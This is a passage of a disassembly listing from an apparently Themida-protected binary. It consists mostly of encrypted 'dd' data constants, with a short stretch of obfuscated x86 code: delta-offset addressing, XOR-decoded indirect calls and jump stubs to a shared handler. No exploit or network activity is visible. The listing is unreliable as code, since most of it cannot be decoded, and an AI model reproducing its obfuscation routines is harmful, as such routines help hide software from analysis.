0F572703Dh, 22721F1h, 5F847E4Eh dd 0BADFDDABh, 13383A06h, 6D92945Fh, 0AC6C2589h, 73939646h dd 7AE0A27Fh, 6BF1AA22h, 2024A19Bh, 0D2D65355h, 2CE00507h dd 0D1F7635Dh, 0A7700406h, 88E47DBh, 0D1E0713Dh, 0C1866790h dd 0ADADE5Bh, 24F7EB10h, 0DC7F739Fh, 37EB100Eh, 0D4D6A268h dd 0F76F496Eh, 0C0187E3Eh, 747F739Fh, 2A364CB2h, 0E425B606h dd 33C76049h, 7CFD7A33h, 16BB3169h, 865624F0h, 197F678Ch dd 779985h, 0CBF10000h, 0F6DE03F9h, 10E02762h, 0D9FDF116h dd 0E17F7393h, 3DF11614h, 6A4F746Eh, 7F954F08h, 2C4DCA83h dd 8ABB312Fh, 0Ah, 3FC8BEE2h, 9F6BBD02h, 12E0D00Bh, 6D3BEF14h dd 0C4964A6Fh, 9C0262CEh, 7F73937Ch, 64CA36F8h, 7F7393B4h dd 0A16AFEC0h, 10964FC7h, 89C74442h, 2969863h, 0C8965C2Ch dd 1FF1A5CAh, 0B61C0429h, 1E84E450h, 7F7393FEh, 324B87Ah dd 1513E09Ah, 6A6E3CF0h, 7393D404h, 389E607Fh, 0F5AE4C13h dd 27A4A26Fh, 0F7F5C3E9h, 8056EAD2h, 0DD91B6B0h, 0F7EA0F11h dd 1238F8B1h, 0A3A17C44h, 54BB5ED5h, 4DE1C9EEh, 320E0980h dd 8DADBBh, 0E0DA0000h, 7F794913h, 0E70C725Ah, 40656733h dd 0AF35EE66h, 2967E4E2h, 93B563C9h, 0B1477F73h, 38B06BC4h dd 20B4762Eh, 5A7F7D4Ah, 0B9DED4A6h, 7C780C6h, 0EE1315E1h dd 0A706A3Ah, 8FE0A976h, 64D6BB31h, 3000000h, 0A91513E0h dd 9335E349h, 7D3F7F73h, 0A16C20E9h, 0A00608D3h, 24967Bh dd 9F6E97DEh, 752375A5h, 9E65B319h, 4D0F7F73h, 0C7157BE7h dd 717F739Eh, 621B1BAFh, 0B3AD7CA2h, 8B76A68Eh, 23499FA6h dd 16E3B94Dh, 0E0329B18h, 7E784812h, 0E60B7159h, 73932FF2h dd 3EF7F37Fh, 312FB8C1h, 1FEBBh, 0E02B0000h, 80A61214h dd 5922B6B0h, 0B373456Bh, 1918128Ch, 0E4096F36h, 0C29268FCh dd 43D7A3C8h, 3638048Ah, 0CDF6C9B9h, 0B1D0FB61h, 9052755Bh dd 0EDE7B76Bh, 60E3270h, 0C5C79241h, 788B8A0h, 0C8CA95CFh dd 28F8CE62h, 0C115092Eh, 0C8795B55h, 5727AD66h, 2DFDBF91h dd 0C0260E33h, 4FEDE99Bh, 80081E23h, 3337B41Ah, 0D5CB9D63h dd 40DF036Fh, 2EAECC34h, 21D59E32h, 0FC488D51h, 0FB1EBE24h dd 581A795Bh, 65610328h, 7513DAFFh, 6C6636BCh, 0EB51B1EFh dd 795B872Dh, 0ECEEB947h, 0E579DFC7h, 59436118h, 18655C1h dd 89AD0000h, 0E5B4C2AAh, 0C6C9BBEBh, 0F4F631C5h, 32980421h dd 755B5E9Fh, 2C1A3F01h, 0A4703606h, 2F957DA2h, 0B88E220Ah dd 6D71EEE8h, 1337A39Dh, 0ADAECFF6h, 0AED43D43h, 4B667EAEh dd 93814ADEh, 10A49E6Dh, 4B706A3Ah, 0A72DE684h, 7CFD13D7h dd 89002DB7h, 0EE93B723h, 5C1B86E1h, 494465F9h, 0C1596530h dd 5986h, 1FF4B300h, 0C8309602h, 0ACFF7393h, 0EA50521Eh dd 1177D7C5h, 0FF7393CBh, 117AB6Dh, 0FF7393DBh, 24964FB3h dd 9B99664Fh, 9313C92Fh, 6325FF73h, 0D3191FDh, 0CE347524h dd 81EB2BEh, 7F7358F0h, 0E05DF884h, 23CE4711h, 0D13940BDh dd 6B000000h, 0E0AE7845h, 6F577CE2h, 21F4A0DBh, 0EF329804h dd 91755BB4h, 10353703h, 3256C228h, 0D53389Fh, 5FDD2794h dd 3D1F89B9h, 0EA9E67FBh, 8987541Ah, 0AA167C64h, 95BAB484h dd 0F4F819ADh, 98BE2A24h, 0B7A5CACCh, 5BC68B51h, 85EBAD79h dd 0FF3428F1h, 0EA795BC7h, 7949CF88h, 81EF137Fh, 0CECC99F9h dd 0AC52A89Eh, 3407F718h, 1D43A30Fh, 452D5250h, 8DF89BB1h dd 0A2C67309h, 0DD1D4A65h, 0C521B570h, 90F0DE03h, 2590F22Ah dd 30C48673h, 248A8A5Ah, 732590F4h, 3358BE80h, 0A81AD367h dd 2044B0D5h, 0B4849EF8h, 7DAD95BAh, 0B8E59E53h, 6DCD5084h dd 2131C52Bh, 0CED09BC1h, 172DC1A9h, 7977EA44h, 4E501C42h dd 51AD4129h, 0D0F5F7C3h, 9C0582E8h, 980421F4h, 13A7A572h dd 0C5FA9D03h, 0BA7C7521h, 1711E195h, 0CCC6969Ah, 0C884B3A7h dd 0D64EFAB4h, 1C7971Dh, 55D23832h, 1B878151h, 0C88755BBh dd 0EFB1F967h, 0CDE925Bh, 9125F116h, 0D4F418D8h, 0D34E622Eh dd 94643ACEh, 49191D9Ah, 1D83E34Fh, 0F9672AFFh, 5A23B779h dd 12A3h, 80A6AA00h, 221CECAEh, 8AAF15FDh, 0A6A070A2h dd 0E096E312h, 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h dd 4EC81h, 34890000h, 81E68924h, 4C6h, 4EE8300h, 5C243487h dd 79AC68h, 24348900h, 4EC81h, 2C890000h, 6DBA5224h, 0BE546B5Eh dd 47D75EF8h, 8105EEC1h, 40337AF6h, 6AEE8118h, 29BFE55Ch dd 0EC815AD6h, 4, 83242489h, 5D042404h, 50F28952h, 8B8h dd 89E80100h, 0FF5A5810h, 835D2434h, 348B04C4h, 0E0895024h dd 405h, 4C08300h, 5C240487h, 0FAABBCE9h, 0B8CB87FFh, 62DD39Fh dd 0E0FFC503h, 782BECC0h, 379F3E47h, 3978E749h, 7BAFDFABh dd 546BC993h, 37CBEEFCh, 99663CEh, 6E58C6Fh, 68695177h dd 3096F3CDh, 6636EE6Eh, 1AF7E82Bh, 72DE12C8h, 644A63F2h dd 0AE8h, 993D2000h, 390BD120h, 66EBB6C9h, 805BD78Bh, 0C3819FE8h dd 5B7Bh, 11E9h, 11E9200h, 0CB42BA28h, 0EF90E48Eh, 53CF4716h dd 0BFAAEBh, 50000000h, 58C28B66h, 591F34FFh, 81F7BF0Fh dd 3E22B4E9h, 1504B85Ah, 0E9816DC8h, 5FD273A6h, 81C68B66h dd 37D16F1h, 21B85146h, 8F314320h, 4EB23B04h, 81D0BF0Fh dd 50695EEFh, 5860F4Fh, 66000000h, 0BBBDD081h, 695AC781h dd 8B0F4F50h, 1, 34FF81FCh, 0FFFFFA5h, 1185h, 1EE900h dd 0C49F0000h, 0E86E384Fh, 805F722Bh, 8B666ABAh, 0FF8EE9F3h dd 0DBD6FFFFh, 57ADA74h, 8CDD9FB6h, 0D5F48D8Dh, 6A062Dh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8B0F30C3h, 1, 158D89FCh, 0BF062807h, 7933D852h, 102D8D89h dd 85C70628h, 62821BDh, 6104h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0C9C35747h, 8837F381h, 11540D27h dd 26E18D29h, 85C70628h, 628113Dh, 0 dd 9E8h, 4DC57900h, 0F9AAC813h, 9D312E5Ch, 62804CDh, 19B5FF5Ah dd 0F062818h, 28Eh, 193B300h, 2801D595h, 0D995FF06h, 6A062814h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0E0B1C352h, 96A7E4F3h, 91AB31Dh, 281A4DB5h dd 6AF506h, 46595FFh, 0C08B0628h, 921F28EBh, 3AE0E2FFh dd 4777191Ch, 9367AF16h, 0DBD0BFF8h, 0CCA76ABEh, 77DA2B70h dd 0EDF8014Eh, 0AC70F745h, 1E462994h, 20E95BEDh, 55000000h dd 9C03F0BDh, 77E733h, 5 dup(0) dd 0E9000000h, 0CF5h, 2DD7D368h, 0A987E906h, 268FFFAh dd 0E9062DD9h, 0FFFAA97Dh, 2DDAA668h, 0A973E906h, 0F768FFFAh dd 0E9062DDBh, 0FFFAA969h, 2DDD4D68h, 0A95FE906h, 9468FFFAh dd 0E9062DDFh, 0FFFAA955h, 2DE13A68h, 0A94BE906h, 0FB68FFFAh dd 0E9062DE1h, 0FFFAA941h, 17E7445h, 0B4312FFDh, 65E2E4B0h dd 1C998F61h, 0D04D4B18h, 633081CDh, 15E4E865h, 0CF9A9E1Bh dd 7C4C50CDh, 4FDF0582h, 5E4533E9h, 0FD724579h, 0AA1610E0h dd 9334E44Ah, 7E407F73h, 9D6D21EAh, 0D6CF2AD9h, 0E742490h dd 522F5391h, 0ED298A1Dh, 0DAAD6F03h, 0FCE74DB9h, 4A755B1Dh dd 32575924h, 985AB64Ah, 35D7F73h, 0E026795Bh, 0BBCFAA27h dd 42E7C159h, 14000000h, 983A21F4h, 3BEB2A18h, 0DD8755BBh dd 0EFB17F73h, 51B72389h, 755BF0CAh, 4A401238h, 4DA93D25h dd 0AE72668Bh, 19795BF0h, 345A1AD3h, 8E426769h, 0B8A0C5BFh dd 88F1BE52h, 2EC15992h, 0C7h, 0B982A65Bh, 4F6BC914h, 3505DB6Fh dd 9562163Bh, 98FE00CBh, 0F5EFBF73h, 0EFBCE2D0h, 50E4CCF1h dd 33B0AA7Ah, 402CFF5h, 0ADB75A70h, 0D5357F73h, 73BBA96Fh dd 7509CB7Fh, 69D5CF9Fh, 0E77B7143h, 2CF2C2C6h, 0D8FD635Dh dd 0D4406538h, 5BB8DB6Eh, 0FE7B3D75h, 824E3B0Eh, 7735B80h dd 5BB87BA1h, 0D53BFD79h, 56F0369h, 43057375h, 0E6E4B1D7h dd 9A986569h, 0E95662Ch, 0D48B66B4h, 0AD1h, 0C9463C0Dh dd 7CF9F7C5h, 2DAAAC78h, 0E4615729h, 981513E0h, 2BF8C995h dd 0DDACB02Dh, 976266E3h, 44141895h, 17A7CD4Ah, 5E446BB1h dd 0C53A0D79h, 981513E0h, 6CA8365Ah, 0CF5BCD42h, 9B95653Bh dd 0EEBAE01Eh, 0A61D58ECh, 20B4B280h, 0FE6A8B5Eh, 780C0AD8h dd 0BE9B0268h, 0DB9D755Bh, 0D5A2C8B6h, 36CAB2D7h, 5B86FC20h dd 1171C779h, 5B866DABh, 0B1450779h, 0FE7BF8B1h, 0B8C15943h dd 111h, 4A10E0E5h, 0A65A7F7Dh, 4274DAD8h, 6A527775h, 5E2BDF04h dd 0A4473B60h, 5C7F738Eh, 0F6268C8Ch, 827F7396h, 0D9DD5AC0h dd 76784309h, 12787644h, 3CD282A6h, 1B063D80h, 0BB49A9EBh dd 4CE021DEh, 0F310E383h, 0FA032787h, 0DFA68A8Eh, 49DCF286h dd 0AB755B3Bh, 2A4F511Dh, 6F5FDC42h, 804B719Ch, 3ECC0C7Eh dd 0A668795Bh, 4E74D440h, 883CB880h, 2870C472h, 21B59DC2h dd 7523040Bh, 0F05C1E73h, 26F22A90h, 6CD27321h, 732126ACh dd 8C4E06C8h, 0F5C2E8F8h, 0C52B8BF7h, 73212617h, 0AACB5F21h dd 6DDBD9A6h, 0B40EF0D3h, 0A20BC29Dh, 0DE000009h, 969A170Dh dd 494DCAC8h, 0FAFE7B7Dh, 0B1B53228h, 6669E6E4h, 0FEFCC938h dd 0B4AE7D81h, 66683337h, 1B15E5E9h, 82E8789Eh, 795E4A5Ah dd 0E0960BDEh, 73A90F13h, 57F7393h, 5C60DD43h, 0C626928Ch dd 7393B860h, 7AA2087Fh, 0FE7F7393h, 2EC2843Ch, 0DDA9CF0Dh dd 2146400Fh, 0FAAED339h, 32C62C2Eh, 1610E0F7h, 0EDB984AAh dd 0A85C70h, 0CDF258B4h, 0D48851E5h, 9D8D0A04h, 0F0BDDCAh dd 734473A9h, 0DD43057Fh, 0B464CAB8h, 0C07F7344h, 0C63298FEh dd 5B784960h, 0C4E9AB75h, 5B680DD0h, 0E7E9B579h, 42400EC2h dd 1CD5391Dh, 0F2ABF162h, 5A260475h, 651B2C1h, 0A6DF0000h dd 9338E046h, 743C7F73h, 7393CE0Eh, 42A86A7Fh, 0FC19ECAEh dd 80A72A90h, 17D9755Bh, 9D6687ABh, 0A397A1F6h, 8E52460Fh dd 38795B96h, 93476C6Ah, 1A70FFC3h, 0BCB9C41Ch, 0D1653156h dd 0A7ED5E18h, 0B0871EEh, 2A8AC15Ah, 5B7B14C4h, 0CA5E2079h dd 5FADEh, 21F40B00h, 3D6F6938h, 6850756Bh, 99309602h dd 0FB755BB0h, 3BA19F6Dh, 0B0FE2216h, 83C9795Bh, 4E2C4DCAh dd 0D08AC159h, 0B7000005h, 390C84E5h, 63887E50h, 0BFE4E2AFh dd 9F0B71D7h, 5B860239h, 0C19CC075h, 342AF519h, 56187408h dd 9F59A4CAh, 4167F560h, 68507573h, 163F12D4h, 0C5A544AAh dd 0DCFE766h, 0B7D6FAE8h, 2FA74304h, 0FED19327h, 0E30969D5h dd 0AF21715h, 1AE76076h, 4305ED3Eh, 0E7E1B1D7h, 0D096666Ah dd 32A00600h, 26D1CC8Ch, 0FEC67D58h, 3A000007h, 0F2F67369h dd 0A5A92624h, 565AD7D9h, 0D118E84h, 0C2C54240h, 5A582594h dd 100AD9DDh, 0C2C48F93h, 77714145h, 0DE44D4FAh, 795E493Eh dd 0E0F2673Ah, 51F11610h, 83E9557Eh, 7521FDBBh, 993FA505h dd 9B795E45h, 5BE945D9h, 826A8F8Dh, 3C8CB01Ch, 0A0966887h dd 1F26C970h, 62C6A8Bh, 2D153A38h, 0FD818399h, 9905795Eh dd 15A9A373h, 2DF3C321h, 0CDCB995Bh, 71950167h, 8A7916E7h dd 5179B685h, 0E8419231h, 0DDCDEE82h, 197FEB08h, 795EDACBh dd 1B3FAB6Dh, 65123C62h, 6A33C7E4h, 6FECE6B6h, 0AD6BD131h dd 0C7795E35h, 495B7105h, 31795E35h, 0E3E76466h, 4DAD1913h dd 5E3531E7h, 0FFF9C979h, 783AF2DAh, 0F5271BE4h, 0DC795E45h dd 2456466Ah, 5B370584h, 880EC7C7h, 3D41BEB8h, 5A4E736Dh dd 795EB586h, 52777140h, 0AFD4CE9Eh, 0EAA45DD5h, 93530CA0h dd 0BDECAF6Fh, 94F83Eh, 0E3605A2Ah, 117DCh, 10E0E300h dd 723DF116h, 0B66024A6h, 0DE444F6Ah, 7F73A63Eh, 0AC12783Ah dd 0A7739987h, 0DDFB11A5h, 0DD7F73A6h, 4EEE130Dh, 0C8EE5A7Bh dd 26D8FDFBh, 0DD69D331h, 43D73D1Eh, 83E1CD33h, 41037521h dd 72117DD3h, 5D14EFBEh, 6ADh, 0A52218E9h, 58D5D3A1h, 9868854h dd 0C03D3305h, 74F1EFBCh, 7D42571h, 0B9888C09h, 733E42BFh dd 20F0F471h, 0F383A926h, 5E484F8Dh, 0A116E979h, 0F11610E0h dd 0F572703Dh, 0C7C191B7h, 2022EEA2h, 855026BAh, 0C5EAECB7h dd 2EBEADDDh, 0B2893AEAh, 0FBCBCF4Ch, 0B3808401h, 0FDC90B5h dd 8725EC11h, 18E80ECEh, 0E7B48A1Eh, 8716CE9h, 0AEBB3130h dd 7, 87DDDBh, 0E0E40000h, 0FDF11610h, 7F7383DBh, 0BE7E37CBh dd 5C59269Ah, 77644ED2h, 9A768FBFh, 20F68AF0h, 0D5D95650h dd 0EFE3080Ah, 7F736B2Ch, 0B1712ABAh, 56BCBC8Bh, 7F736B86h dd 658AF0B2h, 4813E97Dh, 678BC946h, 0CE4AE112h, 0BA62C8FFh dd 0BE7F7317h, 0C70296FCh, 0EE1315E0h, 486D6F3Ah, 0A42AE381h dd 165AD7D9h, 7F738ABFh, 8C340125h, 72C36E4Ch, 7332D800h dd 349A5C7Fh, 31CC6F0Bh, 0FEBC47BBh, 0DD74FFFFh, 313h dd 1610E0E4h, 932BFDF1h, 2FA37F73h, 2A047A0Bh, 65F93BA3h dd 5626AC65h, 41A1DF5Ch, 0A5BF131Dh, 23952ABDh, 7F73E1F5h dd 5329BD7Fh, 70648983h, 7F73E15Ch, 577C7646h, 53BFE4B7h dd 218FC1EDh, 0AD972375h, 2D76BFAFh, 0EE7CEA50h, 8EBE7212h dd 557FCB3h, 0C2930000h, 7D4B4FCCh, 32FE027Fh, 0DDAFB330h dd 99666AE7h, 4F1B1E9Bh, 36B3B17Eh, 0EC696332h, 9E1B1DE8h dd 53D0CA9Ah, 0E1379D2Dh, 93795E4Eh, 10E04BC0h, 0B784AA16h dd 0B91F21EDh, 486E5C25h, 71597E78h, 3C3A07DDh, 0D20A70D0h dd 667F7393h, 0EBEF10A4h, 0A0A4211Bh, 0FCB0D5D3h, 99BA672Fh dd 0A1024B52h, 0B14F163Bh, 0AF1438F8h, 0ABD9C7FDh, 865329BDh dd 0D9F81C88h, 45816532h, 0B1ACCD61h, 0BB3152C8h, 236EEh dd 80E64600h, 7F73BC58h, 48AE1ADCh, 7F73BC90h, 134EE2A4h dd 0DD021FF4h, 629419E9h, 0A35CA27Ch, 0FF1D83E3h, 79819D6Dh dd 235623B7h, 93BA2029h, 203h, 21FF4C0h, 93E83096h, 78D87F73h dd 7393CA12h, 0AEE26E7Fh, 9B56489h, 0D531C52Bh, 0E147A713h dd 7F73EA3Bh, 0E6E0AF3Dh, 0DF73D9C1h, 0EDD02216h, 95DB7C62h dd 0C2F81CDCh, 39C67C47h dd 3FB11A4Ah, 0F4EE96C1h, 0C7E69360h, 0B4D0BA20h, 0FD000001h dd 0EEAE80A6h, 0A0459115h, 779C02DBh, 6439FB8Fh, 0A36DD33Fh dd 0C57F730Ch, 18EADE03h, 0A37C620Bh, 5227A45Dh, 40BA20C8h dd 0BB4F4D1Ah, 182CFh, 1FF4FC00h, 0E0309602h, 847F7393h dd 59A99DC2h, 627C6294h, 93E6631Ch, 23BA202Ah, 163h, 8987557Bh dd 0ADE87C64h, 0F11610E0h, 7736D3Dh, 542EC0E3h, 0AB3FB8C1h dd 98C79A8Ah, 7321EA32h, 66CC8E7Fh, 208994FAh, 0E9AB755Bh dd 200CD0C4h, 3177795Bh, 0DE7EFB78h, 2738C159h, 65000000h dd 980421F4h, 48421238h, 91A73B23h, 755BBE0Ah, 51456A2Ch dd 795B868Fh, 7CF9B2F8h, 0C15943FDh, 0C1B9h, 10E0E600h dd 0DD03F116h, 8F0150Bh, 0D3D19E74h, 0CE9AC0AEh, 10353300h dd 0B59DC228h, 817B4B21h, 0DED8A85Ch, 8ECA1D61h, 62327F73h dd 7C9C0262h, 0F87F7396h, 9614C436h, 5E207F73h, 94668CF8h dd 96EA3298h, 0CC8E7F73h, 0C5594166h, 0A00666A4h, 7F739678h dd 14DF70FCh, 0B29BB48Fh, 23F6B84Ch, 0A7309602h, 11755DCEh dd 63A6B3EDh, 1659597h, 0F14DE14Ch, 0D09DC32Fh, 845155D2h dd 3941886h, 4520BE77h, 3108Eh, 857B4C00h, 38360408h, 0E9EBB7BBh dd 0A096686Ch, 54521F23h, 3786D4D7h, 0EBEF6C6Ah, 0A1A5221Ch dd 5357D4D6h, 0E60C8983h, 4C28F056h, 794C795Eh, 1513E004h dd 0CAC49498h, 10E0E44Dh, 0A303F116h, 3DAFB17Dh, 7F73939Fh dd 6D43D799h, 0E226A39Dh, 7F73933Fh, 0A92108DBh, 0E7359B19h dd 917F73EAh, 962D9FCFh, 0F9C5F929h, 3403DA7Bh, 0E5FC62CEh dd 7F755B22h, 0A6D740BDh, 3F1E1382h, 760A968Ch, 6AD6D0A0h dd 4EE0BC46h, 0F98D0917h, 0B2AC7C30h, 51724535h, 0EE947FE5h dd 0D496755Bh, 74764268h, 0AD3674Fh, 5BEEC216h, 0BE77BD79h dd 59A83841h, 4E7EC1h, 0B0D60000h, 0E5BF1EDEh, 34FBBACBh dd 2DC1A9CEh, 421F4F2h, 0B2D83898h, 0A775E7E5h, 577F7393h dd 80688D87h, 8D406C8h, 65F9E106h, 5BBEC84Fh, 328EA75h dd 5B86CD0Fh, 0B770B679h, 59443F3Ah, 0F277C1h, 0ABCF0000h dd 49530E41h, 0D611A55Dh, 0F11610E0h, 4D72703Dh, 0AACFC999h dd 0AF2C26F6h, 738E986Bh, 0B6B0807Fh, 80D7FB39h, 0D60AC01h dd 6D6AC40h, 7447E70Ch, 55572349h, 731435E3h, 2CD1C77Fh dd 3739370Bh, 0EB57BD7Fh, 5BF4E685h, 0EAB6DC75h, 0ABDBC3E8h dd 0E980CF54h, 6FCB5F4Ch, 0C91D41ADh, 934CFF43h, 6F53DF00h dd 52B8B33Eh, 395F9DBEh, 5F476C6Eh, 0D3609CBh, 0EADC3BA1h dd 14D67375h, 0EBB582A8h, 8882511Fh, 0E3157B63h, 0BF31816h dd 0C4EA28A5h, 23D5FAF4h, 0B400B1D4h, 9A2E941Fh, 8BF9F7C4h dd 0B40F1603h, 6AF7AE89h, 0A6000001h, 5E62DFD5h, 11159290h dd 0C2C64345h, 797DFAF0h, 2E31AEACh, 0C6C49160h, 7C764549h dd 2E30FBFFh, 0E3DDADB1h, 4AB04066h, 795E7292h, 0E05ED3A6h dd 7F794913h, 8F0C725Ah, 55C1BB8Bh, 4166602Fh, 3BA4C559h dd 980421F4h, 5BBEAB32h, 743FCD75h, 0FF654D72h, 0FAF06F93h dd 0F7B1197Ch, 72A69A63h, 4D795B40h, 0A8D14E07h, 0EC15A02h dd 93h, 1610E03Bh, 0A6703DF1h, 0F09C11D9h, 0AEB652D4h dd 0C9BDE248h, 7F733226h, 97140EDEh, 0A4C9C393h, 0A8143104h dd 5B642B42h, 0E8B4D75h, 0BE2A4B1Eh, 75C12258h, 24905273h dd 9D3133FEh, 9C9A678Dh, 504E1B1Fh, 0FD62AE2h, 44FBD6B4h dd 0A9h, 0A11E14E5h, 54D1CF9Dh, 5828450h, 0BC392F01h, 70EDEBB8h dd 3D0216Dh, 0B5848805h, 6F3A3EBBh, 1CECF06Dh, 0EF7FA522h dd 5E725389h, 9D12E579h, 794913E0h, 0C725A7Fh, 0C1BB8B8Fh dd 655F2F55h, 0E047B0D1h, 3DF11610h, 6F6736Dh, 82A61233h dd 517C55C6h, 0B1BAF9Ah, 211F95A5h, 8151DF75h, 48FC2187h dd 0FD017E78h, 0A1C7332Dh, 0C7AFD4D6h, 76766A33h, 27CBECDh dd 7B4BD18Ah, 0A2C60481h, 1F1B8067h, 0B58B1F20h, 12C6EBE5h dd 59254A40h, 0B6860CC5h, 6B3B3FBCh, 0A954C71h, 9C000000h dd 6D3F6587h, 0D66A5277h, 190FE09Bh, 767040F4h, 0D0D29D51h dd 2E28F7ABh, 8A885509h, 0E6E4B165h, 453B0DC1h, 9EA06C20h dd 0F9F7C579h, 0EC81FFD4h, 4, 89240489h, 405E0h, 0E8830000h dd 24048704h, 469B685Ch, 34890000h, 0E0895024h, 405h, 4E88300h dd 5C240487h, 68240489h, 62DD69Bh, 8124348Bh, 4C4h, 48B5400h dd 4C48124h, 81000000h, 4ECh, 24348900h, 0FF08408Fh, 81582434h dd 4C4h, 24348B00h, 5E08950h, 4, 8704C083h, 0E95C2404h dd 0FFFA9C9Dh, 0E2C9B851h, 0C503062Dh, 0CA18E0FFh, 0A72657BBh dd 678C0BC2h, 0E3BE4898h, 269524C4h, 8159187Ch, 24EB7802h dd 9 dup(0) ; --------------------------------------------------------------------------- jmp loc_5A778E ; --------------------------------------------------------------------------- mov [ebp+62DE363h], esi mov eax, [ebp+6282415h] mov eax, [ebp+6280845h] lea esi, [ebp+62DE3ADh] lea eax, [ebp+62B47A6h] call eax retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 62DE3B3h cmp dword ptr [ebp+6282415h], 1 jnz loc_5A7738 push dword ptr [ebp+62DE363h] mov eax, [ebp+6280845h] xor eax, 34812736h call eax cmp al, 1 jnz loc_5A7731 mov eax, 1 jmp loc_5A7778 ; --------------------------------------------------------------------------- loc_5A7731: ; CODE XREF: Themida_:005A7721j xor eax, eax jmp loc_5A7778 ; --------------------------------------------------------------------------- loc_5A7738: ; CODE XREF: Themida_:005A7706j push 1Ch lea esi, [ebp+62DE367h] push esi push dword ptr [ebp+62DE363h] mov eax, [ebp+6280845h] xor eax, 34812736h call eax add esp, 0Ch lea esi, [ebp+62DE367h] mov eax, [esi+14h] and eax, 4 cmp eax, 4 jz loc_5A7773 xor eax, eax jmp loc_5A7778 ; --------------------------------------------------------------------------- loc_5A7773: ; CODE XREF: Themida_:005A7766j mov eax, 1 loc_5A7778: ; CODE XREF: Themida_:005A772Cj ; Themida_:005A7733j ... cmp dword ptr [ebp+6282415h], 1 jnz loc_5A778C pop ebp retn ; --------------------------------------------------------------------------- jmp loc_5A778E ; --------------------------------------------------------------------------- loc_5A778C: ; CODE XREF: Themida_:005A777Fj pop ebp iret ; --------------------------------------------------------------------------- loc_5A778E: ; CODE XREF: Themida_:005A76CCj ; Themida_:005A7787j lea eax, [ebp+62DE38Ch] mov [ebp+62820A5h], eax jmp loc_5A7838 ; --------------------------------------------------------------------------- db 23h dd 940ED3C1h, 5000000h, 1000000h, 28000000h, 200000Ah dd 21h dup(0) ; --------------------------------------------------------------------------- loc_5A7838: ; CODE XREF: Themida_:005A779Aj jmp loc_5A83DC ; --------------------------------------------------------------------------- push 62DE6D9h jmp loc_551321 ; --------------------------------------------------------------------------- push 62DE7B3h jmp loc_551321 ; --------------------------------------------------------------------------- push 62DE8CBh jmp loc_551321 ; --------------------------------------------------------------------------- push 62DE944h jmp loc_551321 ; --------------------------------------------------------------------------- push 62DEA71h jmp loc_551321 ; --------------------------------------------------------------------------- push 62DEAD5h jmp loc_551321 ; --------------------------------------------------------------------------- push 62DEE05h jmp loc_551321 ; --------------------------------------------------------------------------- push 62DEF17h jmp loc_551321 ; --------------------------------------------------------------------------- db 98h, 0C7h, 0D1h dd 84825054h, 35370307h, 0ECE2B4B8h, 0A09E6B6Fh, 83722023h dd 373BB8B6h, 0EDF16E68h, 9FA32022h, 3258D5CFh, 769C3CA2h dd 0C598795Eh, 1610E050h, 736D3DF1h, 123306F6h, 925540A6h dd 9557755Bh, 91587C70h, 9262795Bh, 0EFBF7398h, 6B09D0F5h dd 3187F8B2h, 91AD6BD1h, 0C24F795Bh, 0C6545A0Fh, 0AA3E00B8h dd 0B31F1AAh, 0DEAB3F3Dh, 0C159F99Bh, 391Bh, 21F44800h dd 0AB329804h, 0CD755BBEh, 2EF2E60Bh, 0D8795B86h, 31E50A0Ch dd 0DCFC6262h, 58795B86h, 310B3096h, 0D54600B9h, 2059D68Fh dd 96C15945h, 11Fh, 0FAFCC8EEh, 10E02B66h, 187E7C4Ah, 57FA88ACh dd 4DB7F394h, 5E5D7BE1h, 15D77F73h, 0A6CAB881h, 476A6230h dd 3B11A52Bh, 0A40A6A6Eh, 7F73D974h, 0CCC3E00h, 0AE7F73D9h dd 0D3BBE0E2h, 0CEF3591Bh, 0B6844A1Ah, 45AB93B8h, 0EAE4B3D9h dd 8049DDC5h, 0B638FCCCh, 4849481Ah, 7EBC399Fh, 698E8858h dd 9ED7ED81h, 427F73C4h, 0BDFB7872h, 0A7CCCA97h, 85552BBFh dd 0F3C6668Bh, 0E20666D2h, 0C8D7E42Bh, 0A4A6725Ch, 131977Fh dd 8F352A1Bh, 495FF3DAh, 755B18E6h, 9BD95618h, 86ABA575h dd 75480A9Eh, 0E47EE450h, 0CC7375A5h, 49DDD7A6h, 19BF25EDh dd 1B7320A3h, 6187F359h, 67BECC94h, 5B245D58h, 32989F5h dd 11C73933h, 237320CBh, 0A8ACCD61h, 0AB71D7DBh, 0CD7320CBh dd 2837A50Bh, 0C4B40F2Fh, 90D32E9h, 36070000h, 0F1BFC340h dd 0A67276F3h, 512327A4h, 0DDADE5Bh, 0C38F920Fh, 0AA2725F2h dd 60DDD7A6h, 128F915Ch, 0C7443E0Eh, 6DAB11A1h, 7795E75h dd 13E0BF34h, 0C4949815h, 0F4E44DCAh, 32980421h, 755BBEABh dd 2B21F319h, 4CB21E06h, 795B868Ch, 0F652E6A8h, 0F91B0F34h dd 0C2795B86h, 3346C37Ch, 83C15944h, 0BFh, 4A10E0B0h, 0F4197F7Dh dd 20FDE206h, 0F8F77A15h, 0C3C18E64h, 14EDAA9Eh, 45157F73h dd 0FACACE4Bh, 683BDB00h, 1F7FDF4Bh, 730C63B9h, 0BF53157Fh dd 5B0F06A9h, 63A0C475h, 0B76A1B23h, 68F450E4h, 0C2246CEAh dd 0BB389EC4h, 6FDBF8CBh, 759F1A09h, 74426873h, 0C486E276h dd 67653258h, 0B786ACEAh, 0C3B98BBDh, 8E8C592Fh, 0F261B20h dd 11C8A3B4h, 833h, 0E9665C2Dh, 9C1917E5h, 4DCACC98h, 4817749h dd 0B8353300h, 4B18E9B5h, 0FDCCD04Dh, 0B7828603h, 643438B5h dd 37C7ED6Ah, 5E740BD1h, 0E55A2D79h, 981513E0h, 5EC4C494h dd 7F7393BEh, 2692F8BAh, 0A2363000h, 4F1D4381h, 0E082BD51h dd 3DA34C10h, 5AC64A33h, 0FE2E52CEh, 0C72FD92h, 696333E7h dd 3F09D7FDh, 664E7371h, 5B4B6C00h, 6126A188h, 0F94C035Ah dd 0B3F1278Dh, 0C1837F73h, 0E989EF5Bh, 8B7521CFh, 0CB312FFDh dd 6F69395Fh, 0A490B4F2h, 7F69BAD9h, 13B9CF63h, 0D1795D77h dd 0BCE1DBABh, 6807A4D4h, 23CBA3BFh, 0DBF8CD8Fh, 5EFC205Eh dd 7CAF18C3h, 4724F589h, 